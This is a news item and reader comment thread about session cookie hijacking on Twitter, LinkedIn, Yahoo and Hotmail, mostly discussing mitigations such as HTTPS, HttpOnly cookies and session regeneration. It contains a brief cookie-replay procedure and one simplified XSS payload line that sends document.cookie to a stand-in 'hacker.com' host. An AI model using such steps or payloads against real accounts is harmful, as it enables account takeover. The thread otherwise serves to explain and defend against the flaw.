Twitter, Hotmail, LinkedIn, Yahoo Open To Hijacking

mask.of.sanity writes "Twitter, Linkedin, Yahoo! and Hotmail accounts are open to hijacking thanks to a flaw that allows cookies to be stolen and reused. Attackers need to intercept cookies while the user is logged into the service because the cookies expire on log-out (except LinkedIn, which keeps cookies for three months). The server will still consider them valid. For the Twitter attack, you need to grab the auth_token string and insert it into your local Twitter cookies. Reload Twitter, and you'll be logged in as your target (video here). Not even password changes will kick you out."

Comments

Not a new exploit

[ais523]

This isn't exactly a new exploit (I remember the Firesheep event where someone made hijacking Facebook accounts like this user-friendly, but don't have a link handy). One problem with actually doing this is that you need access to the data as the victim's sending it (e.g. via sniffing unencrypted wi-fi, or physical access to the network that the victim is using); that still gives several possible targets (especially the wi-fi angle), but makes it much harder to use against arbitrary targets.

(The simplest fix, of course, is to use https for all cookie handling, which probably means https for every page access.)

So this is old news, although a reminder that this is still possible is definitely worthwhile.

Re:Not a new exploit

[Anonymous Coward]

Of course, if the user is logged in you force them into https on every page, public or private. This is session hijacking prevention 101. It was very hard to convince my clients of that though.

Re:Not a new exploit

[JoshRosenbaum]

All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.

This assumes Yahoo doesn't filter. Every online company is most definitely going to filter javascript. No website wants someone to inject javascript into their pages. Your attack only works if there is a bug in the filter.

Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script&gt;

If the user can inject javascript, they don't even need to use an image. They can directly do whatever they want in javascript.

Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year ...

If this was true, Yahoo would be completely incompetent for not patching their filter. Do you have a source for this?

And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.

Session expiration only can minimize the possible damage. In reality, the second the attacker gets the session id they could do whatever they wanted with it. Unless you are expiring the session every second, it does not stop an instant attack. I do agree that it can help minimize the danger, though, so it is still useful.

Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.

Your whole assumption is based on the attacker having access to javascript. If they have that, then your hidden form field is useless, because they have access to that as well.

Real solution for your javascript attack method: Add HTTP_ONLY attribute to cookies, which prevents javascript access.

As far as stopping a person attacking by sniffing the line, HTTPS is the only way to fix that. I could possibly see a way for a site to create a predetermined key for the user and store it with HTML5 Web Storage. Then submissions via javascript could use that key to sign the content being submitted. (Or encrypt it outright.) Since most of these attacks are drive-bys, it's less likely the attacker would have the pre-negotiated key. This is a more complicated solution and has its own flaws of course.

Hotmail

[thepike]

Hotmail still exists?

Hijacking ha

[earlzdotnet]

This is called a Replay Attack. And protecting against it is very difficult without either (a) requiring huge server overhead or (b) making a user prone to "session invalid" type errors when making multiple tabs on the website

SSL/HTTPS

[bradgoodman]

Isn't this very, very old news? As I recall - nearly any session can be hijacked in this way. **IF** you don't use a secure connection SSL/HTTPS. This is why sites like Google and Facebook now *strongly* prefer HTTPS connections, because they are not vulnerable to snooping the cookies.

Using two cookies?

[cgimusic]

From the article "He said a quick fix for some complex frameworks could be to utilise two cookies for the login process." How exactly would that help. Maybe I am just misunderstanding how the attack works but what is to stop the attacker stealing both cookies and using them?

Session Fixation? I don't think so.

[datajack]

I dodn't think my opinion of SC magazine could get any lower, then they publish this!

Despite what TFA says, this is not a session fixation vulnerability, this is simple session hijacking - with the willing cooperation of the 'victim'.

Session Fixation (for those who don't know the term) does not involve stealing the victim's session cookie at all. It is precisely the opposite :-
* The attacker connects to the service without authenticating but creating an application session.
* The attacker accesses the newly created session cookie and somehow (using whatever other vulns or methods available to them) manages to inject that into the victim's browser before they have logged into the target system.
* The victim accesses the target system. their browser supplies the injected session cookie to the server and it is accepted as an existing session.
* The victim logs in. If the target system is vulnerable to fixation, the victim has just authenticated the session that the attacker created.

The protection against this is for the server to destroy the currently active session and create a new one at the point of successful authentication.

Whilst there are mitigation techniques against session hijacking, they all have their own complications and problems and have varying degrees of effectiveness.
keeping the session id cookie a secret between the user and server is a fundamental part of web security and a failure at this level has not been demonstrated here.